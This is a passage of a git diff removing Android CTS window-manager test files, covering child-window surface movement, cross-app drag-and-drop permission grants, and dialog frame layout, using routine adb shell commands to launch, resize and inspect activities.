-    private List<WindowState> mWindowList = new ArrayList();
-
-    @Override
-    String intentKey() {
-        return "android.server.FrameTestApp.ChildTestCase";
-    }
-
-    @Override
-    String activityName() {
-        return "MovingChildTestActivity";
-    }
-
-    WindowState getSingleWindow(String fullWindowName) {
-        try {
-            mAmWmState.getWmState().getMatchingVisibleWindowState(fullWindowName, mWindowList);
-            return mWindowList.get(0);
-        } catch (Exception e) {
-            CLog.logAndDisplay(LogLevel.INFO, "Couldn't find window: " + fullWindowName);
-            return null;
-        }
-    }
-
-    WindowState getSingleWindowByPrefix(String prefix) {
-        try {
-            mAmWmState.getWmState().getPrefixMatchingVisibleWindowState(prefix, mWindowList);
-            return mWindowList.get(0);
-        } catch (Exception e) {
-            CLog.logAndDisplay(LogLevel.INFO, "Couldn't find window: " + prefix);
-            return null;
-        }
-    }
-
-    void doSingleTest(ParentChildTest t) throws Exception {
-        String popupName = "ChildWindow";
-        final String[] waitForVisible = new String[] { popupName };
-
-        mAmWmState.setUseActivityNamesForWindowNames(false);
-        mAmWmState.computeState(mDevice, waitForVisible);
-        WindowState popup = getSingleWindowByPrefix(popupName);
-        WindowState parent = getSingleWindow(getBaseWindowName() + activityName());
-
-        t.doTest(parent, popup);
-    }
-
-
-    Object monitor = new Object();
-    boolean testPassed = false;
-    String popupName = null;
-    String mainName = null;
-
-    SurfaceTraceReceiver.SurfaceObserver observer = new SurfaceTraceReceiver.SurfaceObserver() {
-        int transactionCount = 0;
-        boolean sawChildMove = false;
-        boolean sawMainMove = false;
-        int timesSeen = 0;
-
-        @Override
-        public void openTransaction() {
-            transactionCount++;
-            if (transactionCount == 1) {
-                sawChildMove = false;
-                sawMainMove = false;
-            }
-        }
-
-        @Override
-        public void closeTransaction() {
-            transactionCount--;
-            if (transactionCount != 0) {
-                return;
-            }
-            synchronized (monitor) {
-                if (sawChildMove ^ sawMainMove ) {
-                    monitor.notifyAll();
-                    return;
-                }
-                if (timesSeen > 10) {
-                    testPassed = true;
-                    monitor.notifyAll();
-                }
-            }
-        }
-
-        @Override
-        public void setPosition(String windowName, float x, float y) {
-            if (windowName.equals(popupName)) {
-                sawChildMove = true;
-                timesSeen++;
-            } else if (windowName.equals(mainName)) {
-                sawMainMove = true;
-            }
-        }
-    };
-
-    /**
-     * Here we test that a Child moves in the same transaction
-     * as its parent. We launch an activity with a Child which will
-     * move around its own main window. Then we listen to WindowManager transactions.
-     * Since the Child is static within the window, if we ever see one of
-     * them move xor the other one we have a problem!
-     */
-    public void testSurfaceMovesWithParent() throws Exception {
-        doFullscreenTest("MovesWithParent",
-            (WindowState parent, WindowState popup) -> {
-                    popupName = popup.getName();
-                    mainName = parent.getName();
-                    installSurfaceObserver(observer);
-                    try {
-                        synchronized (monitor) {
-                            monitor.wait(5000);
-                        }
-                    } catch (InterruptedException e) {
-                    } finally {
-                        assertTrue(testPassed);
-                        removeSurfaceObserver();
-                    }
-            });
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
deleted file mode 100644
index 17ede35..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/CrossAppDragAndDropTests.java
+++ /dev/null
@@ -1,547 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import com.android.tradefed.device.CollectingOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
-
-import java.util.HashMap;
-import java.util.Map;
-import java.util.regex.Pattern;
-
-public class CrossAppDragAndDropTests extends DeviceTestCase {
-    // Constants copied from ActivityManager.StackId. If they are changed there, these must be
-    // updated.
-    /** ID of stack where fullscreen activities are normally launched into. */
-    private static final int FULLSCREEN_WORKSPACE_STACK_ID = 1;
-
-    /** ID of stack where freeform/resized activities are normally launched into. */
-    private static final int FREEFORM_WORKSPACE_STACK_ID = FULLSCREEN_WORKSPACE_STACK_ID + 1;
-
-    /** ID of stack that occupies a dedicated region of the screen. */
-    private static final int DOCKED_STACK_ID = FREEFORM_WORKSPACE_STACK_ID + 1;
-
-    /** ID of stack that always on top (always visible) when it exists. */
-    private static final int PINNED_STACK_ID = DOCKED_STACK_ID + 1;
-
-    private static final String AM_FORCE_STOP = "am force-stop ";
-    private static final String AM_MOVE_TASK = "am stack move-task ";
-    private static final String AM_RESIZE_TASK = "am task resize ";
-    private static final String AM_REMOVE_STACK = "am stack remove ";
-    private static final String AM_START_N = "am start -n ";
-    private static final String AM_STACK_LIST = "am stack list";
-    private static final String INPUT_MOUSE_SWIPE = "input mouse swipe ";
-    private static final String TASK_ID_PREFIX = "taskId";
-
-    // Regex pattern to match adb shell am stack list output of the form:
-    // taskId=<TASK_ID>: <componentName> bounds=[LEFT,TOP][RIGHT,BOTTOM]
-    private static final String TASK_REGEX_PATTERN_STRING =
-            "taskId=[0-9]+: %s bounds=\\[[0-9]+,[0-9]+\\]\\[[0-9]+,[0-9]+\\]";
-
-    private static final int SWIPE_DURATION_MS = 500;
-
-    private static final String SOURCE_PACKAGE_NAME = "android.wm.cts.dndsourceapp";
-    private static final String TARGET_PACKAGE_NAME = "android.wm.cts.dndtargetapp";
-    private static final String TARGET_23_PACKAGE_NAME = "android.wm.cts.dndtargetappsdk23";
-
-
-    private static final String SOURCE_ACTIVITY_NAME = "DragSource";
-    private static final String TARGET_ACTIVITY_NAME = "DropTarget";
-
-    private static final String FILE_GLOBAL = "file_global";
-    private static final String FILE_LOCAL = "file_local";
-    private static final String DISALLOW_GLOBAL = "disallow_global";
-    private static final String CANCEL_SOON = "cancel_soon";
-    private static final String GRANT_NONE = "grant_none";
-    private static final String GRANT_READ = "grant_read";
-    private static final String GRANT_WRITE = "grant_write";
-    private static final String GRANT_READ_PREFIX = "grant_read_prefix";
-    private static final String GRANT_READ_NOPREFIX = "grant_read_noprefix";
-    private static final String GRANT_READ_PERSISTABLE = "grant_read_persistable";
-
-    private static final String REQUEST_NONE = "request_none";
-    private static final String REQUEST_READ = "request_read";
-    private static final String REQUEST_READ_NESTED = "request_read_nested";
-    private static final String REQUEST_TAKE_PERSISTABLE = "request_take_persistable";
-    private static final String REQUEST_WRITE = "request_write";
-
-    private static final String SOURCE_LOG_TAG = "DragSource";
-    private static final String TARGET_LOG_TAG = "DropTarget";
-
-    private static final String RESULT_KEY_START_DRAG = "START_DRAG";
-    private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
-    private static final String RESULT_KEY_DRAG_ENDED = "DRAG_ENDED";
-    private static final String RESULT_KEY_EXTRAS = "EXTRAS";
-    private static final String RESULT_KEY_DROP_RESULT = "DROP";
-    private static final String RESULT_KEY_ACCESS_BEFORE = "BEFORE";
-    private static final String RESULT_KEY_ACCESS_AFTER = "AFTER";
-    private static final String RESULT_KEY_CLIP_DATA_ERROR = "CLIP_DATA_ERROR";
-    private static final String RESULT_KEY_CLIP_DESCR_ERROR = "CLIP_DESCR_ERROR";
-    private static final String RESULT_KEY_LOCAL_STATE_ERROR = "LOCAL_STATE_ERROR";
-
-    private static final String RESULT_MISSING = "Missing";
-    private static final String RESULT_OK = "OK";
-    private static final String RESULT_EXCEPTION = "Exception";
-    private static final String RESULT_NULL_DROP_PERMISSIONS = "Null DragAndDropPermissions";
-
-    private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
-            "am supports-split-screen-multi-window";
-
-    private ITestDevice mDevice;
-
-    private Map<String, String> mSourceResults;
-    private Map<String, String> mTargetResults;
-
-    private String mSourcePackageName;
-    private String mTargetPackageName;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mDevice = getDevice();
-
-        if (!supportsDragAndDrop()) {
-            return;
-        }
-
-        mSourcePackageName = SOURCE_PACKAGE_NAME;
-        mTargetPackageName = TARGET_PACKAGE_NAME;
-        cleanupState();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-
-        if (!supportsDragAndDrop()) {
-            return;
-        }
-
-        mDevice.executeShellCommand(AM_FORCE_STOP + mSourcePackageName);
-        mDevice.executeShellCommand(AM_FORCE_STOP + mTargetPackageName);
-    }
-
-    private String executeShellCommand(String command) throws DeviceNotAvailableException {
-        return mDevice.executeShellCommand(command);
-    }
-
-    private void clearLogs() throws DeviceNotAvailableException {
-        executeShellCommand("logcat -c");
-    }
-
-    private String getStartCommand(String componentName, String modeExtra) {
-        return AM_START_N + componentName + " -e mode " + modeExtra;
-    }
-
-    private String getMoveTaskCommand(int taskId, int stackId) throws Exception {
-        return AM_MOVE_TASK + taskId + " " + stackId + " true";
-    }
-
-    private String getResizeTaskCommand(int taskId, Point topLeft, Point bottomRight)
-            throws Exception {
-        return AM_RESIZE_TASK + taskId + " " + topLeft.x + " " + topLeft.y + " " + bottomRight.x
-                + " " + bottomRight.y;
-    }
-
-    private String getComponentName(String packageName, String activityName) {
-        return packageName + "/" + packageName + "." + activityName;
-    }
-
-    /**
-     * Make sure that the special activity stacks are removed and the ActivityManager/WindowManager
-     * is in a good state.
-     */
-    private void cleanupState() throws Exception {
-        executeShellCommand(AM_FORCE_STOP + SOURCE_PACKAGE_NAME);
-        executeShellCommand(AM_FORCE_STOP + TARGET_PACKAGE_NAME);
-        executeShellCommand(AM_FORCE_STOP + TARGET_23_PACKAGE_NAME);
-        unlockDevice();
-
-        // Reinitialize the docked stack to force the window manager to reset its default bounds.
-        // See b/29068935.
-        clearLogs();
-        final String componentName = getComponentName(mSourcePackageName, SOURCE_ACTIVITY_NAME);
-        executeShellCommand(getStartCommand(componentName, null) + " --stack " +
-                FULLSCREEN_WORKSPACE_STACK_ID);
-        final int taskId = getActivityTaskId(componentName);
-        // Moving a task from the full screen stack to the docked stack resets
-        // WindowManagerService#mDockedStackCreateBounds.
-        executeShellCommand(getMoveTaskCommand(taskId, DOCKED_STACK_ID));
-        waitForResume(mSourcePackageName, SOURCE_ACTIVITY_NAME);
-        executeShellCommand(AM_FORCE_STOP + SOURCE_PACKAGE_NAME);
-
-        // Remove special stacks.
-        executeShellCommand(AM_REMOVE_STACK + PINNED_STACK_ID);
-        executeShellCommand(AM_REMOVE_STACK + DOCKED_STACK_ID);
-        executeShellCommand(AM_REMOVE_STACK + FREEFORM_WORKSPACE_STACK_ID);
-    }
-
-    private void launchDockedActivity(String packageName, String activityName, String mode)
-            throws Exception {
-        clearLogs();
-        final String componentName = getComponentName(packageName, activityName);
-        executeShellCommand(getStartCommand(componentName, mode) + " --stack " + DOCKED_STACK_ID);
-        waitForResume(packageName, activityName);
-    }
-
-    private void launchFullscreenActivity(String packageName, String activityName, String mode)
-            throws Exception {
-        clearLogs();
-        final String componentName = getComponentName(packageName, activityName);
-        executeShellCommand(getStartCommand(componentName, mode) + " --stack "
-                + FULLSCREEN_WORKSPACE_STACK_ID);
-        waitForResume(packageName, activityName);
-    }
-
-    /**
-     * @param displaySize size of the display
-     * @param leftSide {@code true} to launch the app taking up the left half of the display,
-     *         {@code false} to launch the app taking up the right half of the display.
-     */
-    private void launchFreeformActivity(String packageName, String activityName, String mode,
-            Point displaySize, boolean leftSide) throws Exception{
-        clearLogs();
-        final String componentName = getComponentName(packageName, activityName);
-        executeShellCommand(getStartCommand(componentName, mode) + " --stack "
-                + FREEFORM_WORKSPACE_STACK_ID);
-        waitForResume(packageName, activityName);
-        Point topLeft = new Point(leftSide ? 0 : displaySize.x / 2, 0);
-        Point bottomRight = new Point(leftSide ? displaySize.x / 2 : displaySize.x, displaySize.y);
-        executeShellCommand(getResizeTaskCommand(getActivityTaskId(componentName), topLeft,
-                bottomRight));
-    }
-
-    private void waitForResume(String packageName, String activityName) throws Exception {
-        final String fullActivityName = packageName + "." + activityName;
-        int retryCount = 3;
-        do {
-            Thread.sleep(500);
-            String logs = executeShellCommand("logcat -d -b events");
-            for (String line : logs.split("\\n")) {
-                if(line.contains("am_on_resume_called") && line.contains(fullActivityName)) {
-                    return;
-                }
-            }
-        } while (retryCount-- > 0);
-
-        throw new Exception(fullActivityName + " has failed to start");
-    }
-
-    private void injectInput(Point from, Point to, int durationMs) throws Exception {
-        executeShellCommand(
-                INPUT_MOUSE_SWIPE + from.x + " " + from.y + " " + to.x + " " + to.y + " " +
-                durationMs);
-    }
-
-    static class Point {
-        public int x, y;
-
-        public Point(int _x, int _y) {
-            x=_x;
-            y=_y;
-        }
-
-        public Point() {}
-    }
-
-    private String findTaskInfo(String name) throws Exception {
-        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        mDevice.executeShellCommand(AM_STACK_LIST, outputReceiver);
-        final String output = outputReceiver.getOutput();
-        final StringBuilder builder = new StringBuilder();
-        builder.append("Finding task info for task: ");
-        builder.append(name);
-        builder.append("\nParsing adb shell am output: " );
-        builder.append(output);
-        CLog.i(builder.toString());
-        final Pattern pattern = Pattern.compile(String.format(TASK_REGEX_PATTERN_STRING, name));
-        for (String line : output.split("\\n")) {
-            final String truncatedLine;
-            // Only look for the activity name before the "topActivity" string.
-            final int pos = line.indexOf("topActivity");
-            if (pos > 0) {
-                truncatedLine = line.substring(0, pos);
-            } else {
-                truncatedLine = line;
-            }
-            if (pattern.matcher(truncatedLine).find()) {
-                return truncatedLine;
-            }
-        }
-        return "";
-    }
-
-    private boolean getWindowBounds(String name, Point from, Point to) throws Exception {
-        final String taskInfo = findTaskInfo(name);
-        final String[] sections = taskInfo.split("\\[");
-        if (sections.length > 2) {
-            try {
-                parsePoint(sections[1], from);
-                parsePoint(sections[2], to);
-                return true;
-            } catch (Exception e) {
-                return false;
-            }
-        }
-        return false;
-    }
-
-    private int getActivityTaskId(String name) throws Exception {
-        final String taskInfo = findTaskInfo(name);
-        for (String word : taskInfo.split("\\s+")) {
-            if (word.startsWith(TASK_ID_PREFIX)) {
-                final String withColon = word.split("=")[1];
-                return Integer.parseInt(withColon.substring(0, withColon.length() - 1));
-            }
-        }
-        return -1;
-    }
-
-    private Point getDisplaySize() throws Exception {
-        final String output = executeShellCommand("wm size");
-        final String[] sizes = output.split(" ")[2].split("x");
-        return new Point(Integer.valueOf(sizes[0].trim()), Integer.valueOf(sizes[1].trim()));
-    }
-
-    private Point getWindowCenter(String name) throws Exception {
-        Point p1 = new Point();
-        Point p2 = new Point();
-        if (getWindowBounds(name, p1, p2)) {
-            return new Point((p1.x + p2.x) / 2, (p1.y + p2.y) / 2);
-        }
-        return null;
-    }
-
-    private void parsePoint(String string, Point point) {
-        final String[] parts = string.split("[,|\\]]");
-        point.x = Integer.parseInt(parts[0]);
-        point.y = Integer.parseInt(parts[1]);
-    }
-
-    private void unlockDevice() throws DeviceNotAvailableException {
-        // Wake up the device, if necessary.
-        executeShellCommand("input keyevent 224");
-        // Unlock the screen.
-        executeShellCommand("input keyevent 82");
-    }
-
-    private Map<String, String> getLogResults(String className, String lastResultKey)
-            throws Exception {
-        int retryCount = 10;
-        Map<String, String> output = new HashMap<String, String>();
-        do {
-
-            String logs = executeShellCommand("logcat -v brief -d " + className + ":I" + " *:S");
-            for (String line : logs.split("\\n")) {
-                if (line.startsWith("I/" + className)) {
-                    String payload = line.split(":")[1].trim();
-                    final String[] split = payload.split("=");
-                    if (split.length > 1) {
-                        output.put(split[0], split[1]);
-                    }
-                }
-            }
-            if (output.containsKey(lastResultKey)) {
-                return output;
-            }
-        } while (retryCount-- > 0);
-        return output;
-    }
-
-    private void assertDropResult(String sourceMode, String targetMode, String expectedDropResult)
-            throws Exception {
-        assertDragAndDropResults(sourceMode, targetMode, RESULT_OK, expectedDropResult, RESULT_OK);
-    }
-
-    private void assertNoGlobalDragEvents(String sourceMode, String expectedStartDragResult)
-            throws Exception {
-        assertDragAndDropResults(
-                sourceMode, REQUEST_NONE, expectedStartDragResult, RESULT_MISSING, RESULT_MISSING);
-    }
-
-    private void assertDragAndDropResults(String sourceMode, String targetMode,
-                                          String expectedStartDragResult, String expectedDropResult,
-                                          String expectedListenerResults) throws Exception {
-        if (!supportsDragAndDrop()) {
-            return;
-        }
-
-        if (supportsSplitScreenMultiWindow()) {
-            launchDockedActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode);
-            launchFullscreenActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode);
-        } else if (supportsFreeformMultiWindow()) {
-            // Fallback to try to launch two freeform windows side by side.
-            Point displaySize = getDisplaySize();
-            launchFreeformActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode,
-                    displaySize, true /* leftSide */);
-            launchFreeformActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode,
-                    displaySize, false /* leftSide */);
-        } else {
-            return;
-        }
-
-        clearLogs();
-
-        injectInput(
-                getWindowCenter(getComponentName(mSourcePackageName, SOURCE_ACTIVITY_NAME)),
-                getWindowCenter(getComponentName(mTargetPackageName, TARGET_ACTIVITY_NAME)),
-                SWIPE_DURATION_MS);
-
-        mSourceResults = getLogResults(SOURCE_LOG_TAG, RESULT_KEY_START_DRAG);
-        assertSourceResult(RESULT_KEY_START_DRAG, expectedStartDragResult);
-
-        mTargetResults = getLogResults(TARGET_LOG_TAG, RESULT_KEY_DRAG_ENDED);
-        assertTargetResult(RESULT_KEY_DROP_RESULT, expectedDropResult);
-        if (!RESULT_MISSING.equals(expectedDropResult)) {
-            assertTargetResult(RESULT_KEY_ACCESS_BEFORE, RESULT_EXCEPTION);
-            assertTargetResult(RESULT_KEY_ACCESS_AFTER, RESULT_EXCEPTION);
-        }
-        assertListenerResults(expectedListenerResults);
-    }
-
-    private void assertListenerResults(String expectedResult) throws Exception {
-        assertTargetResult(RESULT_KEY_DRAG_STARTED, expectedResult);
-        assertTargetResult(RESULT_KEY_DRAG_ENDED, expectedResult);
-        assertTargetResult(RESULT_KEY_EXTRAS, expectedResult);
-
-        assertTargetResult(RESULT_KEY_CLIP_DATA_ERROR, RESULT_MISSING);
-        assertTargetResult(RESULT_KEY_CLIP_DESCR_ERROR, RESULT_MISSING);
-        assertTargetResult(RESULT_KEY_LOCAL_STATE_ERROR, RESULT_MISSING);
-    }
-
-    private void assertSourceResult(String resultKey, String expectedResult) throws Exception {
-        assertResult(mSourceResults, resultKey, expectedResult);
-    }
-
-    private void assertTargetResult(String resultKey, String expectedResult) throws Exception {
-        assertResult(mTargetResults, resultKey, expectedResult);
-    }
-
-    private void assertResult(Map<String, String> results, String resultKey, String expectedResult)
-            throws Exception {
-        if (!supportsDragAndDrop()) {
-            return;
-        }
-
-        if (RESULT_MISSING.equals(expectedResult)) {
-            if (results.containsKey(resultKey)) {
-                fail("Unexpected " + resultKey + "=" + results.get(resultKey));
-            }
-        } else {
-            assertTrue("Missing " + resultKey, results.containsKey(resultKey));
-            assertEquals(resultKey + " result mismatch,", expectedResult,
-                    results.get(resultKey));
-        }
-    }
-
-    private boolean supportsDragAndDrop() throws Exception {
-        String supportsMultiwindow = mDevice.executeShellCommand("am supports-multiwindow").trim();
-        if ("true".equals(supportsMultiwindow)) {
-            return true;
-        } else if ("false".equals(supportsMultiwindow)) {
-            return false;
-        } else {
-            throw new Exception(
-                    "device does not support \"am supports-multiwindow\" shell command.");
-        }
-    }
-
-    private boolean supportsSplitScreenMultiWindow() throws DeviceNotAvailableException {
-        return !executeShellCommand(AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW).startsWith("false");
-    }
-
-    private boolean supportsFreeformMultiWindow() throws DeviceNotAvailableException {
-        return mDevice.hasFeature("feature:android.software.freeform_window_management");
-    }
-
-    public void testCancelSoon() throws Exception {
-        assertDropResult(CANCEL_SOON, REQUEST_NONE, RESULT_MISSING);
-    }
-
-    public void testDisallowGlobal() throws Exception {
-        assertNoGlobalDragEvents(DISALLOW_GLOBAL, RESULT_OK);
-    }
-
-    public void testDisallowGlobalBelowSdk24() throws Exception {
-        mTargetPackageName = TARGET_23_PACKAGE_NAME;
-        assertNoGlobalDragEvents(GRANT_NONE, RESULT_OK);
-    }
-
-    public void testFileUriLocal() throws Exception {
-        assertNoGlobalDragEvents(FILE_LOCAL, RESULT_OK);
-    }
-
-    public void testFileUriGlobal() throws Exception {
-        assertNoGlobalDragEvents(FILE_GLOBAL, RESULT_EXCEPTION);
-    }
-
-    public void testGrantNoneRequestNone() throws Exception {
-        assertDropResult(GRANT_NONE, REQUEST_NONE, RESULT_EXCEPTION);
-    }
-
-    public void testGrantNoneRequestRead() throws Exception {
-        assertDropResult(GRANT_NONE, REQUEST_READ, RESULT_NULL_DROP_PERMISSIONS);
-    }
-
-    public void testGrantNoneRequestWrite() throws Exception {
-        assertDropResult(GRANT_NONE, REQUEST_WRITE, RESULT_NULL_DROP_PERMISSIONS);
-    }
-
-    public void testGrantReadRequestNone() throws Exception {
-        assertDropResult(GRANT_READ, REQUEST_NONE, RESULT_EXCEPTION);
-    }
-
-    public void testGrantReadRequestRead() throws Exception {
-        assertDropResult(GRANT_READ, REQUEST_READ, RESULT_OK);
-    }
-
-    public void testGrantReadRequestWrite() throws Exception {
-        assertDropResult(GRANT_READ, REQUEST_WRITE, RESULT_EXCEPTION);
-    }
-
-    public void testGrantReadNoPrefixRequestReadNested() throws Exception {
-        assertDropResult(GRANT_READ_NOPREFIX, REQUEST_READ_NESTED, RESULT_EXCEPTION);
-    }
-
-    public void testGrantReadPrefixRequestReadNested() throws Exception {
-        assertDropResult(GRANT_READ_PREFIX, REQUEST_READ_NESTED, RESULT_OK);
-    }
-
-    public void testGrantPersistableRequestTakePersistable() throws Exception {
-        assertDropResult(GRANT_READ_PERSISTABLE, REQUEST_TAKE_PERSISTABLE, RESULT_OK);
-    }
-
-    public void testGrantReadRequestTakePersistable() throws Exception {
-        assertDropResult(GRANT_READ, REQUEST_TAKE_PERSISTABLE, RESULT_EXCEPTION);
-    }
-
-    public void testGrantWriteRequestNone() throws Exception {
-        assertDropResult(GRANT_WRITE, REQUEST_NONE, RESULT_EXCEPTION);
-    }
-
-    public void testGrantWriteRequestRead() throws Exception {
-        assertDropResult(GRANT_WRITE, REQUEST_READ, RESULT_EXCEPTION);
-    }
-
-    public void testGrantWriteRequestWrite() throws Exception {
-        assertDropResult(GRANT_WRITE, REQUEST_WRITE, RESULT_OK);
-    }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java b/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
deleted file mode 100644
index c99f001..0000000
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/src/android/server/cts/DialogFrameTests.java
+++ /dev/null
@@ -1,215 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import java.util.List;
-import java.util.ArrayList;
-import java.awt.Rectangle;
-
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import android.server.cts.WindowManagerState.WindowState;
-
-public class DialogFrameTests extends ParentChildTestBase {
-    private List<WindowState> mWindowList = new ArrayList();
-
-    @Override
-    String intentKey() {
-        return "android.server.FrameTestApp.DialogTestCase";
-    }
-
-    @Override
-    String activityName() {
-        return "DialogTestActivity";
-    }
-
-    WindowState getSingleWindow(String windowName) {
-        try {
-            mAmWmState.getWmState().getMatchingVisibleWindowState(
-                    getBaseWindowName() + windowName, mWindowList);
-            return mWindowList.get(0);
-        } catch (Exception e) {
-            CLog.logAndDisplay(LogLevel.INFO, "Couldn't find window: " + windowName);
-            return null;
-        }
-    }
-
-    void doSingleTest(ParentChildTest t) throws Exception {
-        final String[] waitForVisible = new String[] { "TestDialog" };
-
-        mAmWmState.computeState(mDevice, waitForVisible);
-        WindowState dialog = getSingleWindow("TestDialog");
-        WindowState parent = getSingleWindow("DialogTestActivity");
-
-        t.doTest(parent, dialog);
-    }
-
-    // With Width and Height as MATCH_PARENT we should fill
-    // the same content frame as the main activity window
-    public void testMatchParentDialog() throws Exception {
-        doParentChildTest("MatchParent",
-            (WindowState parent, WindowState dialog) -> {
-                assertEquals(parent.getContentFrame(), dialog.getFrame());
-            });
-    }
-
-    // If we have LAYOUT_IN_SCREEN and LAYOUT_IN_OVERSCAN with MATCH_PARENT,
-    // we will not be constrained to the insets and so we will be the same size
-    // as the main window main frame.
-    public void testMatchParentDialogLayoutInOverscan() throws Exception {
-        doParentChildTest("MatchParentLayoutInOverscan",
-            (WindowState parent, WindowState dialog) -> {
-                assertEquals(parent.getFrame(), dialog.getFrame());
-            });
-    }
-
-    static final int explicitDimension = 200;
-
-    // The default gravity for dialogs should center them.
-    public void testExplicitSizeDefaultGravity() throws Exception {
-        doParentChildTest("ExplicitSize",
-            (WindowState parent, WindowState dialog) -> {
-                Rectangle contentFrame = parent.getContentFrame();
-                Rectangle expectedFrame = new Rectangle(
-                        contentFrame.x + (contentFrame.width - explicitDimension)/2,
-                        contentFrame.y + (contentFrame.height - explicitDimension)/2,
-                        explicitDimension, explicitDimension);
-                assertEquals(expectedFrame, dialog.getFrame());
-            });
-    }
-
-    public void testExplicitSizeTopLeftGravity() throws Exception {
-        doParentChildTest("ExplicitSizeTopLeftGravity",
-            (WindowState parent, WindowState dialog) -> {
-                Rectangle contentFrame = parent.getContentFrame();
-                Rectangle expectedFrame = new Rectangle(
-                        contentFrame.x,
-                        contentFrame.y,
-                        explicitDimension,
-                        explicitDimension);
-                assertEquals(expectedFrame, dialog.getFrame());
-            });
-    }
-
-    public void testExplicitSizeBottomRightGravity() throws Exception {
-        doParentChildTest("ExplicitSizeBottomRightGravity",
-            (WindowState parent, WindowState dialog) -> {
-                Rectangle contentFrame = parent.getContentFrame();
-                Rectangle expectedFrame = new Rectangle(
-                        contentFrame.x + contentFrame.width - explicitDimension,
-                        contentFrame.y + contentFrame.height - explicitDimension,
-                        explicitDimension, explicitDimension);
-                assertEquals(expectedFrame, dialog.getFrame());
-            });
-    }
-
-    // TODO: Commented out for now because it doesn't work. We end up
-    // insetting the decor on the bottom. I think this is a bug
-    // probably in the default dialog flags:
-    // b/30127373
-    //    public void testOversizedDimensions() throws Exception {
-    //        doParentChildTest("OversizedDimensions",
-    //            (WindowState parent, WindowState dialog) -> {
-    // With the default flags oversize should result in clipping to
-    // parent frame.
-    //                assertEquals(parent.getContentFrame(), dialog.getFrame());
-    //         });
-    //    }
-
-    // TODO(b/63993863) : Disabled pending public API to fetch maximum surface size.
-    // static final int oversizedDimension = 5000;
-    // With FLAG_LAYOUT_NO_LIMITS  we should get the size we request, even if its much
-    // larger than the screen.
-    // public void testOversizedDimensionsNoLimits() throws Exception {
-    // TODO(b/36890978): We only run this in fullscreen because of the
-    // unclear status of NO_LIMITS for non-child surfaces in MW modes
-    //     doFullscreenTest("OversizedDimensionsNoLimits",
-    //        (WindowState parent, WindowState dialog) -> {
-    //            Rectangle contentFrame = parent.getContentFrame();
-    //            Rectangle expectedFrame = new Rectangle(contentFrame.x, contentFrame.y,
-    //                    oversizedDimension, oversizedDimension);
-    //            assertEquals(expectedFrame, dialog.getFrame());
-    //        });
-    // }
-
-    // If we request the MATCH_PARENT and a non-zero position, we wouldn't be
-    // able to fit all of our content, so we should be adjusted to just fit the
-    // content frame.
-    public void testExplicitPositionMatchParent() throws Exception {
-        doParentChildTest("ExplicitPositionMatchParent",
-             (WindowState parent, WindowState dialog) -> {
-                    assertEquals(parent.getContentFrame(),
-                            dialog.getFrame());
-             });
-    }
-
-    // Unless we pass NO_LIMITS in which case our requested position should
-    // be honored.
-    public void testExplicitPositionMatchParentNoLimits() throws Exception {
-        final int explicitPosition = 100;
-        doParentChildTest("ExplicitPositionMatchParentNoLimits",
-            (WindowState parent, WindowState dialog) -> {
-                Rectangle contentFrame = parent.getContentFrame();
-                Rectangle expectedFrame = new Rectangle(contentFrame.x + explicitPosition,
-                        contentFrame.y + explicitPosition,
-                        contentFrame.width,
-                        contentFrame.height);
-            });
-    }
-
-    // We run the two focus tests fullscreen only because switching to the
-    // docked stack will strip away focus from the task anyway.
-    public void testDialogReceivesFocus() throws Exception {
-        doFullscreenTest("MatchParent",
-            (WindowState parent, WindowState dialog) -> {
-                assertEquals(dialog.getName(), mAmWmState.getWmState().getFocusedWindow());
-        });
-    }
-
-    public void testNoFocusDialog() throws Exception {
-        doFullscreenTest("NoFocus",
-            (WindowState parent, WindowState dialog) -> {
-                assertEquals(parent.getName(), mAmWmState.getWmState().getFocusedWindow());
-        });
-    }
-
-    public void testMarginsArePercentagesOfContentFrame() throws Exception {
-        float horizontalMargin = .25f;
-        float verticalMargin = .35f;
-        doParentChildTest("WithMargins",
-            (WindowState parent, WindowState dialog) -> {
-                Rectangle frame = parent.getContentFrame();
-                Rectangle expectedFrame = new Rectangle(
-                        (int)(horizontalMargin*frame.width + frame.x),
-                        (int)(verticalMargin*frame.height + frame.y),
